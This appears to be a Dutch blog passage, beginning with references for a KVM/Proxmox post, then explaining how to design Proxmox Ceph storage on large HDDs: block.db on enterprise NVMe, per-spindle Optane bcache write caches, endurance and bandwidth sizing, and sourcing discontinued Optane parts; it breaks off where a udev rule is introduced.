Hyper-V architecture — Microsoft over het Virtual Machine Worker Process als user-mode component, één per VM, waar alle geëmuleerde apparaten leven The Nutanix Bible — AHV architecture — AHV beschreven als KVM met libvirt, QEMU en Open vSwitch Wie KVM draait, en hoe ze het veranderden\n7 ways we harden our KVM hypervisor at Google Cloud — Google over het draaien van KVM zonder QEMU, en de upstream-hardening die ze deden The AWS Nitro System — welke EC2-instancetypes de Nitro-hypervisor draaien AWS EC2 Virtualization 2017: Introducing Nitro — Brendan Greggs verslag van de overgang van Xen naar KVM, nog steeds het helderste relaas ervan Firecracker — AWS\u0026rsquo; minimale KVM-gebaseerde VMM achter Lambda en Fargate Alibaba Cloud\u0026rsquo;s sixth-generation ECS instances — de X-Dragon-hypervisor en MoC-offload KubeVirt — het QEMU/KVM-in-een-pod-model achter OpenShift Virtualisation en Harvester OpenStack Nova hypervisor support matrix — KVM als de referentiedriver Wat Proxmox onderhoudt\nDe Proxmox GitHub-organisatie — 89 repositories, waaronder pve-qemu, pve-kernel, pve-edk2-firmware en packaging voor lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve en ceph pve-qemu patch series — de 78 hierboven getelde patches, en de snelste manier om precies te zien wat Proxmox aan QEMU toevoegt Proxmox VE storagedocumentatie — de native pluginlijst, welke storagetypes gedeeld zijn, en de regel over het gebruiken van alle storagetechnologieën beschikbaar voor Debian Linux nvme-cli en nvmetcli — NVMe-oF host- en target-tooling; aoetools en vblade voor het ATA over Ethernet-equivalent. Allemaal in Debian trixie, waarop Proxmox VE 9 is gebouwd Proxmox VE-prijzen en abonnementsniveaus — wat het abonnement dekt Disclosure: ik werk voor croit, een Proxmox Gold Partner. De technische claims hierboven zijn onderbouwd en controleerbaar; de commerciële paragraaf is het deel waar ik een belang heb, dus behandel het dienovereenkomstig.\n","permalink":"https://blogs.damiendye.uk/nl/proxmox/kvm-the-hypervisor-inside-proxmox-ve/","summary":"\u0026ldquo;Is Proxmox enterprise-grade?\u0026rdquo; is een vraag over de hypervisor, en Proxmox VE bevat er geen. De hypervisor is KVM — dezelfde kernelmodule onder EC2, Google Cloud, Alibaba Cloud, Nutanix AHV en OpenShift Virtualisation. Wat Proxmox echt onderhoudt, waarom het type 1-argument op de verkeerde grens mikt, en wat het gedeelde fundament je niet oplevert.","title":"Proxmox VE Is Geen Hypervisor — KVM Wel, en Je Draait Het Al"},{"content":"Waarom HDD\u0026rsquo;s Weer Op Het Menu Staan Jarenlang was het advies eenvoudig genoeg om op een plakbriefje te passen: zet het allemaal op SSD\u0026rsquo;s.\nDat advies was juist, en het was ook goedkoop. Geen van beide is nu helemaal waar. NAND-aanbod is krapper geworden, AI-vraag heeft flash-prijzen omhooggeduwd, en NVMe met hoge capaciteit is moeilijk te rechtvaardigen geworden voor een kostenbewuste Proxmox-deployment — het soort dat operationeel, betrouwbaar en zo goedkoop als eerlijkheid toestaat moet zijn.\nEnterprise-HDD\u0026rsquo;s zijn weer interessant om dezelfde reden als altijd: capaciteit per pond, en niets anders komt in de buurt.\nDe haak is dat iedereen die VM\u0026rsquo;s op draaiende schijven heeft gedraaid weet hoe slecht het kan gaan. Die ervaring is echt, en het is doorgaans de schuld van de architectuur in plaats van de schijven.\nDe schijven de schuld geven is makkelijker, dat wel. Het is ook fout, en het is duur, want het praat mensen flash aan die ze niet nodig hadden.\nAlles hieronder gaat uit van Proxmox met hyper-converged Ceph-OSD\u0026rsquo;s, want dat is waar de indelingsbeslissingen werkelijk bijten.\nHet Probleem Is Latency, Niet Doorvoer Een moderne enterprise-HDD verplaatst grote sequentiële data prima. Dat was nooit de bottleneck.\nEen 7,2k-RPM enterprise-schijf levert ergens rond de 80 tot 100 IOPS aan random werk, want elke random operatie wacht op een head-seek en een plaat-omwenteling. Dat getal is in twintig jaar nauwelijks bewogen. Het is mechanica, geen elektronica. Een instap-enterprise-SSD is er drie of vier ordes van grootte van verwijderd.\nGeef dezelfde schijf sequentieel werk en het is een nuttig apparaat. Het operatietempo verdubbelt ruwweg, tot ongeveer 200 IOPS, maar elk van die operaties draagt nu een groot blok omdat de kop al op de juiste plek is en kan blijven streamen. Dus je krijgt echte doorvoer, 150 tot 250 MB/s ervan, tegen een prijs per terabyte die niets anders aanraakt.\nDat is de belangrijke asymmetrie, en het is niet \u0026ldquo;HDD\u0026rsquo;s zijn traag\u0026rdquo;. Een draaiende schijf is goed in sequentieel werk en hopeloos in random werk, en de twee getallen liggen alleen dicht bij elkaar omdat het begrensde ding het operatie-aantal is, niet de bytes.\nWat de hele ontwerpopdracht bepaalt. Je probeert de schijf niet sneller te maken. Dat kun je niet. Je probeert te regelen dat hij zijn tijd doorbrengt in de modus waar hij al competent is, en het kleine random verkeer bij hem weg te houden. Alles wat volgt is dan ook dat ene idee twee keer toegepast.\nHet probleem is dat virtuele machines niet de workload genereren waar HDD\u0026rsquo;s goed in zijn. Ze genereren metadata-updates, journal-schrijfacties, kleine synchrone flushes, logging, filesystem-huishouding, en bursts van random activiteit van een dozijn gasten tegelijk die verweven bij de schijf aankomen.\nHopeloos in random werk, werkelijk goed in sequentieel — in welke modus de schijf draait is het hele ontwerp Operaties per seconde, één apparaat — balken niet op schaal, want drie ordes van grootte passen niet 7,2k HDD — random 80–100 elke operatie wacht op een seek en een omwenteling — hopeloos 7,2k HDD — sequentieel ~200 en elk draagt een groot blok: 150–250 MB/s aan echte doorvoer Enterprise NVMe 100k+ geen bewegende delen, dus geen seek om voor te betalen Wat een hyper-converged cluster de schijf werkelijk stuurt gast-metadata- updates journal-schrijfacties en fsync logging en huishouding RocksDB- metadata random bursts, veel gasten grote sequentiële overdrachten Vijf van die zes zijn klein en random. Een ervan is waar de spindel goed in is. Dit is niet \"HDD's zijn traag\". Een draaiende schijf is werkelijk goed in sequentieel werk en hopeloos in random werk, en de twee cijfers liggen alleen dicht bij elkaar omdat de begrensde hoeveelheid het operatie-aantal is, niet de bytes die elk draagt. Dus de klus is niet de schijf sneller maken. Het is hem in de modus houden waar hij al competent in is. Random- en sequentiële operatietempo\u0026rsquo;s liggen verrassend dicht bij elkaar, want wat begrensd is, is het aantal operaties in plaats van de bytes die elk draagt. Sequentieel is waar de schijf zijn geld verdient; een hyper-converged cluster stuurt hem van nature het andere soort werk. Ceph voegt hier zijn eigen laag aan toe. Elke schrijfactie draagt RocksDB-metadata-updates naast de data. Als dat allemaal op kale spindels landt, brengen de schijven hun tijd door met seeken in plaats van serveren, en krijg je het symptoom dat elke beheerder herkent: hoge I/O-wait, trage gasten, inconsistente responsiviteit, en een cluster dat veel trager aanvoelt dan zijn capaciteitsblad suggereert.\nCeph\u0026rsquo;s eigen hardware-richtlijn is bot over waar dit toe leidt. Het waarschuwt om \u0026ldquo;consider carefully the ostensible cost-per-gigabyte advantage of larger HDDs, and the concomitant limitations of IOPS per TB\u0026rdquo;, en zegt dat schijven boven 8 TB \u0026ldquo;may be best suited for storage of large files / objects that are not at all performance-sensitive.\u0026rdquo;\nDe moeite waard die rekensom te maken, want de schijven die dit überhaupt economisch maken zijn grote. 20 TB en meer. Een schijf van 20 TB doet nog steeds zijn 80 tot 100 random IOPS, want capaciteit koopt je helemaal geen operaties. Dus hij biedt ongeveer 4 tot 5 random IOPS per terabyte, waar een schijf van 8 TB er ruwweg elf haalt, en een schijf van 2 TB veertig.\nNaar Ceph\u0026rsquo;s eigen maatstaf, dan, zit een spindel van 20 TB ruim in het gebied waarvan het je zegt er geen performance-gevoelige workloads op te zetten.\nDat is geen argument tegen ze kopen. Het is de reden dat de rest van deze post bestaat. Het ontwerp hieronder is precies wat een spindel van 20 TB levensvatbaar maakt voor VM-storage, door te regelen dat het kleine random werk hem nooit bereikt.\nVerplaats De Metadata Van De Spindel De hoogste-waarde-wijziging aan een HDD-gebaseerd cluster is stoppen de spindel Ceph\u0026rsquo;s boekhouding te laten opslaan.\nBlueStore houdt drie dingen per OSD: de data zelf op block, de RocksDB-metadata-database op block.db, en het write-ahead log op block.wal. Standaard leven alle drie op hetzelfde apparaat. Zet block.db in plaats daarvan op NVMe en een grote hoeveelheid kleine random I/O verlaat de schijf volledig.\nCeph\u0026rsquo;s hardware-documentatie stelt het ronduit: \u0026ldquo;HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD.\u0026rdquo;\nBlueStore-OSD-indeling: alles op de spindel, versus metadata op NVMe Standaard: één apparaat houdt alle drie object-dataschrijfacties RocksDB-metadata Eén 7,2k HDD block block.db .wal Beide stromen delen één 80-IOPS-budget. De schijf seekt tussen data en metadata bij elke schrijfactie. block.db op NVMe: de metadata vertrekt object-dataschrijfacties RocksDB-metadata 7,2k HDD block — alleen data Enterprise NVMe block.db .wal De spindel doet nu één klus. Noem een DB-apparaat en de WAL gaat mee. Dimensioneer\u0026#160;block.db\u0026#160;op 1–2% van\u0026#160;block\u0026#160;voor RBD-workloads, of 2,5% om comfortabel te zijn. Onderdimensioneer het en RocksDB faalt niet — het spilt terug op de spindel, wat de ene uitkomst is die de flash verspilt die je net kocht. Nuttige groottes stappen op ruwweg 3 GB, 30 GB en 300 GB, want een DB-partitie kan alleen groottes volledig gebruiken die overeenkomen met de sommen van RocksDB's niveaus. Omhoog afronden naar de volgende stap is doorgaans goedkoop; omlaag afronden koopt niets. Links, alles op één spindel: dataschrijfacties en RocksDB-updates concurreren om dezelfde 80-en-nog-wat IOPS. Rechts, block.db op NVMe: het metadataverkeer verlaat de schijf, en de spindel blijft het ene ding doen waar hij goed in is. Gebruik hier goede enterprise-NVMe, geen consumentenflash. De reden is geen krantenkop-benchmarkgetallen. Het is stabiele latency onder aanhoudende belasting, en power-loss protection. Ceph\u0026rsquo;s documentatie is direct: \u0026ldquo;Enterprise-class SSDs are best for Ceph: they feature power loss protection (PLP)\u0026rdquo;, en \u0026ldquo;bargain client-class or off-brand SSDs are a false economy.\u0026rdquo;\nSamsung PM9A3- en Micron 7450 Pro-klasse-schijven zijn het soort ding dat hier thuishoort. Onder schrijfdruk geeft Ceph veel meer om consistentie dan om piekgetallen, en dat is precies wat een enterprise-schijf van een snelle consumentenschijf scheidt.\nblock.db Dimensioneren, en Wat Spillover Kost Krijg de grootte fout en het voordeel verdampt stilletjes, want wanneer block.db vol raakt, faalt RocksDB niet — het spilt terug op het trage apparaat, precies waar het zonder de NVMe zou hebben gezeten.\nDat is het slechtste van beide werelden: je hebt de flash gekocht en je seekt nog steeds op de spindel.\nDe huidige Ceph-richtlijn:\nWorkload block.db als fractie van block RBD / block — VM-schijven 1% tot 2% RGW / object ten minste 4% Algemene aanbeveling bij offloaden van WAL+DB ten minste 2,5% Proxmox-VM-storage is de RBD-rij, dus 1–2% is het eerlijke planningsgetal, en 2,5% is een comfortabele plek om te zitten.\nDraai dat tegen een schijf van 20 TB en de getallen krijgen je aandacht:\nblock.db voor één 20 TB-OSD Bij 1% 200 GB Bij 2% 400 GB Bij 2,5% 500 GB Neem dat met de RocksDB-niveaustappen hieronder en 300 GB per OSD is de verstandige landingsplek. De nuttige stap het dichtst bij het midden van het bereik.\nWat verandert wat het gedeelde metadata-apparaat werkelijk is. Acht 20 TB-OSD\u0026rsquo;s willen 2,4 TB NVMe tussen zich; vijftien ervan, Ceph\u0026rsquo;s vermelde maximum achter één NVMe, willen 4,5 TB. Op schijven zo groot is het DB-capaciteit die beslist hoeveel OSD\u0026rsquo;s achter één apparaat zitten, niet de ratio. Je raakt door je gigabytes lang voordat je door Ceph\u0026rsquo;s zegen raakt.\nEr is nog een kanttekening de moeite waard te kennen, want het maakt intuïtief dimensioneren fout. RocksDB\u0026rsquo;s niveaustructuur betekent dat een DB-partitie alleen groottes volledig kan gebruiken die overeenkomen met de sommen van zijn niveaus — historisch nuttige stappen rond 3 GB, 30 GB en 300 GB producerend, met groottes ertussen die niets over de stap eronder bieden. 18 GB omhoog afronden naar 30 GB is in de praktijk vaak gratis; het omlaag afronden naar 20 GB koopt je in het slechtste geval niets over 3 GB.\nControleer op spillover nadat het cluster een tijdje heeft gedraaid, niet op dag één. Het is een probleem met trage aanvang.\nJe Hebt Geen Apart WAL-Apparaat Nodig Deze bespaart een partitie en veel gepruts.\nAls je een DB-apparaat specificeert en geen expliciet WAL-apparaat, zet Ceph de WAL automatisch op het snelle apparaat bij de DB. De documentatie stelt dat \u0026ldquo;whenever a DB device is specified but an explicit WAL device is not, the WAL will be implicitly colocated with the DB on the faster device.\u0026rdquo;\nDus \u0026ldquo;zet de DB en WAL op NVMe\u0026rdquo; is het juiste doel, maar het is één argument, niet twee. Een aparte block.wal is alleen zinvol als je een derde, snellere tier hebt om het op te zetten.\nZet De HDD-Schrijfcache Uit Klein, ongeglamoureerd, en makkelijk te missen.\nCeph\u0026rsquo;s documentatie merkt op dat OSD-prestaties \u0026ldquo;may be dramatically increased \u0026hellip; by disabling this write cache\u0026rdquo; op HDD\u0026rsquo;s. De vluchtige cache in de schijf herordent en vertraagt schrijfacties op manieren die Ceph\u0026rsquo;s flush-semantiek tegenwerken, en hem uitzetten maakt dingen doorgaans sneller in plaats van trager.\nHet wordt verplicht in plaats van aanbevolen zodra bcache betrokken is, wat de volgende sectie is.\nTerwijl je er toch bent: je hebt geen RAID-capabele HBA nodig. Ceph zegt het rechtstreeks: \u0026ldquo;You do not need an RoC (RAID-capable) HBA.\u0026rdquo; Geef de OSD\u0026rsquo;s de schijven.\nEén Optane Per Spindel De metadata van de schijf verplaatsen repareert de steady state. Het repareert geen bursts, want een burst van kleine synchrone schrijfacties moet nog steeds bevestigd worden, en de spindel bevestigt nog steeds op spindelsnelheid.\nDat is waar bcache voor is, en wat het hier laat werken is Optane.\nWat ertoe doet is geen capaciteit. Het is gedrag onder schrijfbelasting. Tegen NAND biedt Optane zeer lage latency, zeer hoge endurance, en geen van de garbage-collection-kliffen die de schrijfcacheprestaties van een SSD onvoorspelbaar maken zodra hij een tijdje in dienst is geweest. Klein, burst-achtig, schrijfzwaar verkeer absorberen is het ding waar het het beste ter wereld in is.\nDe indeling die ertoe doet: één Optane per HDD, elk paar zijn eigen bcache-apparaat. Niet één Optane gedeeld over een plank vol schijven.\nDrie tiers, twee deelmodellen: gekoppelde schrijfcache, gedeeld metadata-apparaat Eén Proxmox-node, drie OSD's Gast-VM-schrijfacties — klein, synchroon, burst-achtig Ceph-RocksDB-metadata bcache0 Optane schrijfcache HDD osd.0 block bcache1 Optane schrijfcache HDD osd.1 block bcache2 Optane schrijfcache HDD osd.2 block Eén Optane per spindel — gekoppeld, nooit gedeeld Een cache-falen kost precies één OSD, die Ceph routinematig herbouwt. Endurance hier nodig: 30–100 DWPD. Alleen Optane. Gedeelde enterprise-NVMe block.db + impliciete WAL, alle drie de OSD's power-loss protected Gedeeld, want metadata is klein Ceph zegt 4–5 HDD's per SATA-SSD, niet meer dan 15 per NVMe. Verlies deze en elke OSD erachter gaat mee. Enterprise-NAND is prima — een snelle NVMe, geen goedkope. Beide tiers zijn vereist, en het is niet dezelfde aankoop. De Optane verkort schrijf- bevestiging; het doet niets voor de metadata-reads die Ceph voortdurend uitgeeft, en stelt alleen de metadata-writes uit. Sla de NVMe over en RocksDB is terug op de plaat. Elke schrijfactie naar een OSD kruist zijn cache-apparaat, wat is waarom dat Optane moet zijn. Het metadata- apparaat hoeft het niet — maar het moet nog steeds een snelle NVMe zijn: klein schrijfvolume, en toch draagt het de metadata-latency van elke OSD erachter. Drie tiers, twee verschillende deelmodellen. Het DB/WAL-apparaat wordt gedeeld over meerdere OSD\u0026rsquo;s omdat het RocksDB-schrijfvolume klein is, al moet het nog steeds een snelle NVMe zijn omdat het de metadata-latency van elk ervan draagt. De Optane-schrijfcache is één-op-één gekoppeld aan zijn spindel, dus een cache-falen kan maar ooit één OSD kosten. De koppeling is een bewuste keuze, en het koopt twee dingen.\nGeen contention. Elke spindel krijgt een hele Optane\u0026rsquo;s latency en queue depth voor zichzelf, in plaats van in de rij achter zeven andere OSD\u0026rsquo;s\u0026rsquo; bursts.\nEen failure domain die Ceph al weet te overleven. Een gedeelde schrijfcache houdt vuile data voor elke OSD erachter, dus hem verliezen verliest ze allemaal tegelijk; één-op-één gekoppeld kost een Optane verliezen precies één OSD. Dat onderscheid is het allerbelangrijkste gevolg van dit ontwerp, en het krijgt zijn eigen behandeling in wat je opgeeft.\nDit Moet Optane Zijn. Niet NAND. Het woord \u0026ldquo;Optane\u0026rdquo; is hier geen merkvoorkeur of een nice-to-have. Een NAND-NVMe substitueren — hoe duur ook — bouwt iets dat verslijt, en de reden is endurance.\nKijk naar waar het cache-apparaat zit. Omdat dit ontwerp bcache\u0026rsquo;s sequentiële bypass uitzet — de sequential_cutoff=0 in de regel hieronder — passeert elke enkele schrijfactie naar die OSD erdoorheen: niet alleen de bursts, alles. Dat maakt de cache het apparaat met de hoogste duty cycle in de node, gevraagd om het schrijfvolume van een hele draaiende schijf te absorberen voor de levensduur van de machine.\nEndurance wordt opgegeven in drive writes per day, en het gat is niet incrementeel:\nApparaat Opgegeven endurance Optane P5800X 100 DWPD Optane P4800X 30 DWPD Write-intensive enterprise-NAND, top van het assortiment rond 10 DWPD Mixed-use enterprise-NAND 3 DWPD of minder Mainstream enterprise-NAND — PM9A3, 7450 Pro-klasse rond 1 DWPD Optane is tussen tien en honderd keer de endurance van de NAND die je er anders zou zetten. Zet een 1 DWPD-schijf in de ene positie die elke schrijfactie in het cluster ontvangt en je hebt geen cache gebouwd, je hebt een verbruiksartikel gebouwd.\nHet is erger dan de tabel suggereert, want NAND lijdt intern write amplification en Optane niet. De opgegeven DWPD van een NAND-schijf is wat hij aan de interface neemt; wat zijn cellen werkelijk absorberen is groter. Optane\u0026rsquo;s getal heeft zo\u0026rsquo;n asterisk niet nodig.\nRebuilds zijn waar dat getest wordt. Backfill duwt terabytes aan schrijfacties door de overlevende nodes in een gecomprimeerd venster, elke byte ervan over hun cache-apparaten — een endurance-gebeurtenis, niet slechts een latency-gebeurtenis, precies aankomend wanneer je het minst een tweede apparaat wilt zien falen.\nDus de twee flash-tiers willen verschillende schijven, om verschillende redenen:\nTier Schrijfvolume Wat het apparaat nodig heeft DB/WAL klein — alleen RocksDB Een snelle enterprise-NVMe. Lage latency, hoge random IOPS, PLP. Enterprise-NAND is de juiste technologie; een PM9A3 of 7450 Pro is de juiste aankoop Schrijfcache alles PLP en endurance in de tientallen DWPD. NAND is de verkeerde technologie tegen elke prijs Eén soort schijf voor beide klussen kopen is de fout die deze sectie bestaat om te voorkomen — maar lees de eerste rij niet als toestemming om te bezuinigen, want laag schrijfvolume is geen lage eis.\nHet DB/WAL-apparaat moet nog steeds werkelijk snelle NVMe zijn, om drie redenen die niets te maken hebben met hoeveel bytes het kruisen.\nHet bedient elke OSD erachter tegelijk, dus de queue die het ziet is vier of vijftien sets metadataverkeer, niet één schijf waarde.\nZijn latency landt rechtstreeks op je clients. RocksDB-lookups zitten op het kritieke pad voor het vinden van objecten, voor peering en voor scrub, en het zijn kleine random reads. De workload waar het gat tussen een snelle NVMe en een middelmatige het grootst is. Elke microseconde wordt vermenigvuldigd met elke OSD die ervan afhangt.\nEn compaction is burst-achtig. RocksDB herschrijft periodiek zijn niveaus, en verandert gestage churn in een geconcentreerde spike van reads en writes. Een apparaat dat het gemiddelde aankan en op de spike stalt, stalt elke OSD erachter op hetzelfde moment.\nCeph\u0026rsquo;s eigen ratio\u0026rsquo;s zijn het teken. Het staat drie keer zoveel OSD\u0026rsquo;s achter een NVMe toe als achter een SATA-SSD, en dat is de interface en de apparaatklasse die spreekt, niet de capaciteit. Gebruik NVMe.\nDus: het cache-apparaat moet Optane zijn, het DB/WAL-apparaat mag NAND zijn, en geen van beide posities is waar je geld bespaart.\nWelke Optane: Een 32 GB M10 Zou Vaak Volstaan Niets daarvan betekent dat de grootste Optane de juiste is. Het apparaat dat je nodig hebt wordt beslist door je schrijfworkload — al blijkt de tweedehandsmarkt het misschien hoe dan ook voor je te beslissen. De rekenkunde doet er nog steeds toe, want het vertelt je wat je over- of onderkoopt.\nBegin bij waar de cache voor is. Het houdt een burst, geen schijf. Bij writeback_percent=40 geeft een apparaat van 32 GB ruwweg 13 GB aan vuile buffer, wat een enorm aantal kleine synchrone schrijfacties is.\nDus laat je niet afschrikken door de ratio. Een module van 32 GB vóór een schijf van 20 TB is 0,16% ervan, wat absurd klinkt tot je je herinnert dat het een burst-absorbeerder is in plaats van een working-set-cache die hete data probeert te houden. Een apparaat van 375 GB vóór dezelfde schijf is 1,9%, wat simpelweg meer ruimte is dan je zult gebruiken.\nWat het goedkope eind van het bereik in het spel brengt. Hier is de kleine consumentenmodule tegen het datacenter-onderdeel, want het gat is niet waar mensen het verwachten:\nOptane Memory M10 32 GB Optane DC P4800X 375 GB Random read, 4K 240.000 IOPS 550.000 IOPS Random write, 4K 65.000 IOPS vergelijkbaar met read Sequentiële read 1.200 MB/s 2.400 MB/s Sequentiële write 290 MB/s 2.000 MB/s Typische latency — onder 10 µs Endurance 365 TBW 12,3 PBW — 30 DWPD Interface PCIe 3.0 x2, M.2 2280 PCIe 3.0 x4, U.2 of AIC Kijk eerst naar de schrijf-IOPS-rij. De kleine M10 doet 65.000 random writes per seconde; de spindel erachter doet 80. Zelfs de goedkoopste Optane is ruwweg 650 keer de schijf die hij cachet, dus op de prestatie-as is het argument voorbij voordat het begint. De extra IOPS van het DC-onderdeel hebben nergens heen te gaan wanneer er één 7,2k-schijf stroomafwaarts is.\nDe rij die de aankoop beslist is endurance, waar het gat 34× is. Omgezet in een dagelijks budget over een leven van vijf jaar:\nApparaat Volhoudbare schrijfacties per dag, over vijf jaar M10 32 GB — 365 TBW ongeveer 200 GB/dag P4800X 375 GB — 12,3 PBW ongeveer 6,7 TB/dag Onder 200 GB aan schrijfacties per dag en een 32 GB-M10 haalt het einde van de build. Bij twee keer zoveel krijg je tweeënhalf jaar. Echt schrijfzwaar en het DC-onderdeel verdient zijn prijs — niet voor de IOPS, die je niet kunt gebruiken, maar voor de dertig-en-nog-wat keer meer schrijven dat het tolereert.\nDus meet in plaats van te raden. nvme smart-log op een bestaand cache-apparaat geeft je data_units_written; sample het een week uit elkaar, deel, en vergelijk tegen de opgegeven TBW van wat je ook overweegt. bcache houdt zijn eigen totalen onder /sys/block/bcacheN/bcache/stats_total/ als je het daar liever leest.\nTwee kanttekeningen bij de M10. Zijn random-cijfers worden opgegeven over een span van 8 GB in plaats van het volledige apparaat, dus op een cache die je van plan bent substantieel vol te draaien, behandel ze als het optimistische eind. En het is een consumentenonderdeel dat geen enterprise-PLP-claim draagt — Optane\u0026rsquo;s media wordt ter plaatse geschreven zonder DRAM-buffer in het schrijfpad, wat is waarom deze modules zich veel beter gedragen bij plotselinge stroomuitval dan consumenten-NAND zou, maar \u0026ldquo;gedraagt zich goed in de praktijk\u0026rdquo; is geen specificatie. Als je de garantie op schrift wilt, koop een DC-serie-onderdeel.\nDe Ondergrens Is Bandbreedte, Niet Capaciteit — Sla De 16 GB-Modules Over Er is een tweede beperking, onafhankelijk van al het bovenstaande, en die diskwalificeert het goedkoopste onderdeel in het bereik.\nDe cache moet sequentieel sneller zijn dan de schijf, of het is een rem. De 16 GB-M10 is dat niet, en het is de module waardoor je het meest verleid zult worden, want hij is bijna gratis:\nSequentiële write Optane Memory M10 16 GB 150 MB/s Optane Memory M10 32 GB 290 MB/s Optane DC P4800X 375 GB 2.000 MB/s Een 7,2k enterprise-HDD 150–250 MB/s Lees de eerste en laatste rij samen. Een module van 16 GB schrijft sequentieel op ongeveer dezelfde snelheid als de draaiende schijf die hij zou moeten versnellen, en trager dan een goede. Hij blijft enorm veel sneller voor random werk — 35.000 random write-IOPS tegen de 80 van de schijf — maar op een sequentiële stream is hij op zijn best gelijkspel en op zijn slechtst een plafond onder wat de kale schijf onbijgestaan haalde.\nEn dit ontwerp garandeert dat je dat plafond raakt, want de sequentiële bypass uitzetten stuurt alles door de cache, waardoor de eigen sequentiële schrijfbandbreedte van de cache het harde plafond voor de hele OSD wordt. Recovery is waar het het hardst bijt: een 20 TB-OSD backfillen is ongeveer zo sequentieel als deze workload wordt, en het op 150 MB/s begrenzen maakt een toch al trage rebuild trager.\nDus de M10-lijn heeft een ondergrens bij 32 GB, en het is een bandbreedte-ondergrens in plaats van een capaciteits-ondergrens. De capaciteitsrekenkunde zei dat 32 GB ruim was; de bandbreedterekenkunde sluit 16 GB uit ongeacht hoe weinig je hoefde op te slaan. Beide tests moeten slagen, en het goedkope onderdeel faalt de ene die mensen niet controleren.\nWat je ook overweegt, zet zijn sequentiële schrijfcijfer naast 250 MB/s voordat je het koopt.\nEen Product Kopen Dat Niemand Meer Maakt Optane is stopgezet. Intel wond de business af in 2022, schreef 559 miljoen dollar aan voorraad af en beëindigde de ontwikkeling. Er is geen nieuwe productie en geen herbevoorrading; het totale aanbod gaat vanaf hier alleen omlaag.\nWat een voor de hand liggende vraag oproept, want er is een verrassende hoeveelheid ervan te koop. Begrijpen waar het vandaan komt vertelt je wat je koopt.\nHet is OEM-service-reserveonderdelen-voorraad die geliquideerd wordt. De grote drie servermakers hadden Optane als reserveonderdelen op voorraad om de platforms te ondersteunen waar ze het in verkochten. Die platforms zijn end-of-life gegaan en van support afgevallen, dus de reserveonderdelen die ze ondersteunden werden van de ene dag op de andere dode voorraad — magazijnen vol onderdelen voor machines die niemand contractueel meer verplicht is te repareren. Die voorraad is wat op AliExpress en de refurbishers stroomt.\nTwee gevolgen, en beide zijn goed nieuws.\nVeel ervan is ongebruikt in plaats van getrokken. Reserveonderdelen lagen op een plank te wachten op een falen dat nooit kwam, dus het slijtagecijfer bij aankomst is vaak feitelijk nul — niet \u0026ldquo;een paar jaar lichte dienst\u0026rdquo; maar nooit geschreven. Verifieer in plaats van te vertrouwen: nvme smart-log geeft je percentage_used en data_units_written, en op echte reserveonderdelen-voorraad zouden die verbluffend laag moeten zijn. Alles dat echte slijtage toont is een pull die als iets anders wordt verkocht, al betekent zelfs dan de endurance-ruimte dat een gebruikte Optane meer leven over kan hebben dan een gloednieuwe NAND-schijf van dezelfde capaciteit.\nHet verklaart welke capaciteiten je zult vinden. OEM-reserveonderdelen werden op voorraad gehouden voor servers, wat datacenter-onderdelen betekent. Hier is het volledige bereik, en merk op waar het vlaggenschip begint:\nOnderdeel Capaciteiten Vorm Optane Memory M10 16, 32, 64 GB M.2 2280, consumer Optane SSD 800P 58, 118 GB M.2 2280, consumer Optane SSD P1600X 58, 118 GB M.2 2280, datacenter-boot en cache-onderdeel Optane SSD DC P4801X 100, 200, 375 GB M.2 110 mm of U.2 Optane SSD DC P4800X 375 GB op zijn kleinst, 750 GB, 1,5 TB U.2 of add-in card Optane SSD P5800X 400 GB, 800 GB, 1,6 TB U.2 of add-in card In theorie zijn de kleine M.2-onderdelen het elegante antwoord — de M10, de 800P, de P1600X en de 100 GB-P4801X doen allemaal de klus, en goedkoop. In de praktijk heeft de markt ze niet, want niemand hield desktop-accelerator-modules als server-reserveonderdelen op voorraad. Wat vermeld staat is 375 GB en meer, P4800X-klasse-hardware.\nDus reken erop meer capaciteit te kopen dan de rol nodig heeft, want dat is wat te koop is. Het is geen slechte uitkomst. Een cache-apparaat overkopen brengt je op 30 DWPD en sub-10 µs latency wanneer je workload een fractie van beide eiste, en voor een 20 TB-spindel die je jaren wilt houden, is dat de juiste manier om te dwalen. Het betekent wel dat de instapprijs hoger is dan de rekenkunde suggereert, en dat het dimensioneren hierboven een controle wordt tegen onderkopen in plaats van een boodschappenlijst.\nDrie dingen om op te plannen, aangezien dit een liquidatie is in plaats van een supply chain:\nKoop je reserveonderdelen met de build. Een eindige pool wordt geruimd. Wanneer een apparaat over drie jaar faalt zul je geen vervanging bestellen, je zult er een jagen — dus reken de reserveonderdelen nu in, terwijl de voorraad er is.\nVerwacht OEM-firmware en controleer de namespace. Onderdelen uit het reserveonderdelenprogramma van een vendor dragen vaak die vendor\u0026rsquo;s firmware en kunnen aankomen geformatteerd naar een LBA-grootte of met metadata-instellingen die passen bij waarvoor ze ook op voorraad werden gehouden. Bevestig met nvme id-ns voordat je erop bouwt, en wees klaar om te nvme format naar een gewoon 4096-byte-formaat.\nEr is geen garantie, geen support, en geen firmware-updates meer. Intels eigen support-melding dekt wat de afwikkeling betekent voor apparaten die al in dienst zijn, wat de positie is waar alles wat je koopt al in zit. Verifiëren dat het onderdeel dat aankwam het onderdeel in de vermelding is, is aan jou.\nbcache Vervangt De DB/WAL-Offload Niet De moeite waard expliciet te stellen, want het is de voor de hand liggende plek om geld te proberen te besparen en het werkt niet: je hebt nog steeds block.db op NVMe nodig. Beide lagen, niet de een of de ander.\nDe Optane is een schrijfcache. Dat is alles wat het is. Het verkort het bevestigingspad voor schrijfacties die naar de schijf gaan, en het doet niets anders.\nRocksDB schrijft niet alleen. Ceph leest zijn metadata voortdurend — om objecten te vinden, om peering te bedienen, om scrubs te beantwoorden — en een schrijfcache biedt een read precies niets zodra de data eruit gaflusht is. De cache verwijdert het metadataverkeer ook niet; het stelt uit en batcht het, dus elke RocksDB-update komt uiteindelijk nog steeds bij de spindel aan, concurrerend om dezelfde seeks. En compaction verandert bescheiden churn in veel meer apparaatverkeer dan de schrijfacties die het veroorzaakten.\nDus de twee wijzigingen repareren verschillende problemen en geen substitueert voor de ander:\nWat het repareert Wat het niet block.db op NVMe metadata leeft op flash — reads en writes allebei, permanent van de spindel niets voor een burst van gast-schrijfacties Optane via bcache burst-bevestigingslatency voor dataschrijfacties niets voor metadata-reads; stelt alleen metadata-writes uit Sla de DB-offload over en houd de Optane, en RocksDB is terug op de plaat met zijn reads bediend op 80 IOPS. Sla de Optane over en houd de DB-offload, en de steady state is fatsoenlijk maar bursts stallen nog steeds op spindelsnelheid.\nDe udev-Regel, Regel Voor Regel bcache\u0026rsquo;s tunables leven in sysfs, en sysfs reset ze elke keer dat het apparaat 